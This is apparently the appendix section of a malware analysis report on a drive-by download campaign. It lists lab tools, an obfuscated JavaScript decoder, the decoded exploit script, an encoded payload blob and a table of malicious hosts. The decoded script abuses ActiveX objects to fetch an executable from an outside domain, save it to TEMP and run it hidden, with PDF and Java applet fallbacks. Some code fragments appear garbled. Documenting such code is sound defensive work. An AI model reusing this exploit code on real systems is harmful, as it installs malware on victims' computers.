

Tools Used:

- QualysGuard Malware Scanner
- wget (wgetasie is just a bash alias to have wget send an IE user-agent and connect through an external proxy not associated with our lab)
- Firefox (with Firebug, QuickProxy, WebDeveloper Toolbar)
- Scite
- Paros
- Python
- js/rhino
- Binary Diffing Starter (eEye Digital Security)
- IDA Pro
- PeiD
- VMWare Server
- Wireshark
- Fake DNS (<http://code.activestate.com/recipes/491264/>)
- Fake HTTP (quick python hack using BaseHTTPRequestHandler)
- ProcMon + ProcessExplorer (SysInternals Suite)
- InstallWatchPro
- Pandora & Coffee (what... you can stare at code for hours on end without either?)

Appendix 1: Decoding Routine

Decoding routine from nevpizdy-nenyznie50domain.in, formatted for readability

```
<script>
function zacabab (abeicd)
{
    var terry = abeicd.split(':');
    var merry = 'zxc';
    return terry[2];
};
</script>
<script>
var FhcL0z0 = new String("");
FhcL0z0 = document.getElementById("khBsFxi").innerHTML;
g6VZ13w8 = document.lastModified;
k0mi0e5c = zacabab(g6VZ13w8);
FhcL0z0 = FhcL0z0.replace(/[^0-9]/g, '');

function aXzLA9jbkkRMIW ( OzNL6t,em7lqjVq )
{
    var AYMQuD7 = new String();
    var bsLlaXtpUc = new String();
    var mXhEn59Xi = OzNL6t.split(';');
    for(euWM8 = 0;euWM8 < mXhEn59Xi.length-1;euWM8++)
    {
        AYMQuD7 = String['f#ro!mC#ha@r^C&ode'.replace(/@|&|#|\^|\!|\(|\)/ig, ' ')](mXhEn59Xi[euWM8] -
em7lqjVq);
        bsLlaXtpUc = bsLlaXtpUc + AYMQuD7;
    }
    return bsLlaXtpUc;
}

var vnfjqg = Date();
LCEsM = aXzLA9jbkkRMIW(FhcL0z0,k0mi0e5c);
var mXhEn59Xi = 'AYMQuD7';

function krasddk(zxc)
{
    eval(zxc); return;
};

krasddk( LCEsM );

</script>
```

Appendix 2: Decoded Exploit Script

```
//Contents of LCEsM after decoding in debugger

function Complete()
{
    setTimeout('location.href = \"about:blank\"', 10000);
}

function Go(a)
{
    var s = CreateO(a, 'WScript.Shell');
    var o = CreateO(a, 'ADODB.Stream');
    var e = s.Environment('Process');
    var urltofile = 'http://nevpizdy-nenyznie50domain.in/feedback.php?page=1';
    var filename = 'hgivV.exe';
    var xhr = null;
    var bin = e.Item('TEMP') + '\\\\' + filename;
    try {
        xhr = new XMLHttpRequest();
    }
    catch (e)
    {
        try {
            xhr = new ActiveXObject('Microsoft.XMLHTTP');
        }
        catch (e) {
            xhr = new ActiveXObject('MSXML2.ServerXMLHTTP');
        }
    }
    if (!xhr) {
        return (0);
    }
    xhr.open('GET', urltofile, false);
    xhr.send(null);
    var filecontent = xhr.responseBody;
    o.Type = 1;
    o.Mode = 3;
    o.Open();
    o.Write(filecontent);
    o.SaveToFile(bin, 2);
    s.Run(bin, 0);
    return 1;
}

function CreateO(o, n)
{
    var r = null;
    try {
        r = o.CreateObject(n);
    }
    catch (e) {}
    if (!r) {
        try {
            r = o.CreateObject(n, '');
        }
        catch (e) {}
    }
    if (!r) {
        try {
            r = o.CreateObject(n, '', '');
        }
        catch (e) {}
    }
    if (!r) {
        try {
            r = o.GetObject('', n);
        }
        catch (e) {}
    }
    if (!r) {
        try {
            r = o.GetObject(n, '');
        }
        catch (e) {}
    }
    if (!r) {
        try {
            r = o.GetObject(n);
        }
        catch (e) {}
    }
    return r;
}

function mudac()
{
    var mdacok = 0;
}
```

```

var i = 0;
var objects = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{BD96C556-65A3-11D0-983A-00C04FC29E36}',
'{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-0000000000046}', '{0006F03A-0000-0000-C000-0000000000046}',
'{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}',
'{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-1DB3-44f9-83B4-461454C84BF8}',
'{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCCDFF-CA28-496b-B050-6C07C962476B}', null);
while (objects[i])
{
    var a = null;
    if (objects[i].substring(0, 1) == '{')
    {
        a = document.createElement('object');
        a.setAttribute('classid', 'clsid:' + objects[i].substring(1, objects[i].length - 1));
    }
    else {
        try {
            a = new ActiveXObject(objects[i]);
        }
        catch (e) {}
    }
    if (a) {
        try {
            var b = CreateO(a, 'WScript.Shell');
            if (b) {
                if (Go(a)) {
                    mdacok = 1;
                    break;
                }
            }
        }
        catch (e) {}
    }
    i++;
}
if (mdacok == 1) {
    Complete();
}
else {
    FuncKJ();
}
}

function Func4() {
    return;
}

function FuncPD() {
    var gnsx=false;
    if(navigator.plugins&&navigator.plugins.length) {
        for(var cnowx=0;cnowx<navigator.plugins.length;cnowx++) {
            if(navigator.plugins[cnowx].description.indexOf('Adobe Acrobat')!=-1) {
                gnsx=true;
                break;
            }
            if(navigator.plugins[cnowx].description.indexOf('Adobe PDF')!=-1) {
                gnsx=true;
                break;
            }
        }
    }
    else if(window.ActiveXObject) {
        var ijpg=null;
        try {
            ijpg=new ActiveXObject('AcroPDF.PDF');
        } catch(e){}
        if(!ijpg) {
            try {
                ijpg=new ActiveXObject('PDF.PdfCtrl');
            }catch(e){}
        }
        if(ijpg) {
            gnsx=true;
        }
    }
}
if(gnsx) {
    var ua=navigator.userAgent.toLowerCase();
    if(ua.indexOf('\firefox')!=-1) {
        var cghnou=document.createElement('embed');
        cghnou.setAttribute('src','./pdf.php');
        cghnou.setAttribute('href','./pdf.php');
        cghnou.setAttribute('type','application/pdf');
        cghnou.setAttribute('width',18);
        cghnou.setAttribute('height',7);
        cghnou.setAttribute('style','display:none;');
        document.body.appendChild(cghnou);
    }
    else {
        var cghnou=document.createElement('iframe');
        cghnou.setAttribute('src','./pdf.php');
        cghnou.setAttribute('width',19);
        cghnou.setAttribute('height',10);
        cghnou.setAttribute('style','display:none;');
    }
}
}

```

```
        document.body.appendChild(cghnou);
    }
    setTimeout(Func4(),497);
}
Func4();
}

function FuncKJ() {
    var code='<applet code=\"myf.y.AppletX.class\" archive=\"http://nevpizdy-
nenyynie50domain.in/files/sdfg.jar\" width=\"300\" height=\"300\">'+<param name=\"data\"
value=\"http://nevpizdy-nenyynie50domain.in/feedback.php?page=1\">'+<param name=\"cc\"
value=\"1\">'+</applet>';
    var NMFiuhje=document.createElement(\"div\");
    NMFiuhje.innerHTML=code;
    document.body.appendChild(NMFiuhje);
    FuncPD();
}

mudac();
```


2v161E151c118r155q156w1590151Y91i150h154N1551161o162t168M92a110w61N83n83J83183h176Q61L83K83W83n831166h152V167Q135c156Z160t152U162P168q167i91o121Z168Q161B150K103F91v92
X95g103s108k106T92B110V61A83R83h176L61o83U121w168W161p150M103z91P92G110T61f176w61B61T153V168S161V150g167X156Q162D161D83J121o168W161K150K126X125c91r92i83R174L61f83n83B
169s148m165Q83y150G162w151u152H112P90P111a148k163w163x159B152z167B83L150o162Y151W152y112w85y160p172e153Q97B172K97E116D163C163r159U152A167x139Q97v150F159F148K166f166Q8
5G83d148S165G150e155d156v169D152z112t85z155y167j167d163O109198o98T161o152q169K163I156q173I151Y172196N161E152w161s172U173D161W156n152K104A99Q151F162D160P148z156C161O97
j156g161d98U153U156w159J152L166H98R166C151P153q154o97c157u1481165V85P83o170s156C151z167s155T112F85w102199F99z85x83o155g152a156J154B155X167T112M85e102199P99u85b113D90W
94W90o11s1631148d165k148o160d83d161H148i160a152q112o85a151n148d167H148O85n83I1691148G159V168Q152r112185K155S167o167h163p109d98a98b161G152L169P163k156o173X151T172P96N
161H152p161B1721173x161Q156Y152G104B99e151b162S160W148N156c161p97B156K161e98f153k152F152m151v149V148W150k158s97p163z155G163x114p163I148i154n152Y112G100t85a113190V94s9
0H111i163V148w165j148f160a83O161Q148g160A152L112C85X150w150u85M83v169B148K1591168J152s112Y85h100z85S113I90k94n90A11r98V148W163o163F159C152P167T113S90v110U61e83x83s16
9a148s165F83W129u128P121H156D168H170g155157H152z112t151r162m150u168j160H152R161X167M97T150n165g152m148i167B152Q120g159t152q160Z152y161M167T91N85U151X156V169B85I92d11
0A61C83U83m129x128E121u156P168c170G155j157P152n97V156x161o1611152e165i123b135D128g127n112X150u162I151u152Q110J61D83t83K151G162O150w168E160S152q161T167v97x149D162K1511
172Y97I148Z163J163m152I1611151q118p155Z156O159k151h91I129A128q121M156u168A170T155J157x152X92c110o61r83X83m121u168h161X150S131p119x91c92c110F61N176T61v61m61h160f168T15
1q148g150R91D92b110L61W</div><script>function zacabab (abeid) { var terry = abeid.split(';'); var merry = 'zxc'; return terry[2];}</script>

<script>

```
var FhcL0z0 = new String(""); FhcL0z0 = document.getElementById("khBsFxi").innerHTML;
g6VZ13w8 = document.lastModified; k0miOe5c = zacabab(g6VZ13w8); FhcL0z0 = FhcL0z0.replace(/[^0-9]/g, '');
function aXzLA9jbbkRMIW ( OzNL6t,em71qjVq ) { var AYMQuD7 = new String();var bsLlaXtpUc = new String();
var mXhEn59Xi = OzNL6t.split(';'); for(euWM8 = 0;euWM8 < mXhEn59Xi.length-1;euWM8++)
{ AYMQuD7 = String['#ro!mC#ha@rCsode'.replace(/@|&|#|\\|!|\\(|\\)/ig, '')](mXhEn59Xi[euWM8] - em71qjVq);
bsLlaXtpUc = bsLlaXtpUc + AYMQuD7;} return bsLlaXtpUc;}var vnfjqc = Date();LCEsM = aXzLA9jbbkRMIW(FhcL0z0,k0miOe5c);
var mXhEn59Xi = 'AYMQuD7';function krasddk (zxc) {eval(zxc); return;};krasddk( LCEsM );</script></body></html>
```

Appendix 4: Internet Infrastructure for SgwAg+Packycfg Malware

| <u>Net Address</u> | <u>What:</u> | <u>Country Of Origin:</u> |
|------------------------------|--------------------------------|---------------------------|
| nevpizdy-nenyznie50domain.in | Malware Host | Russia |
| in.webstat44.com | PackyCfg Payload Host | ?? (De-registered) |
| 91.213.94.131 | Fallback PackyCfg Payload Host | Ukraine |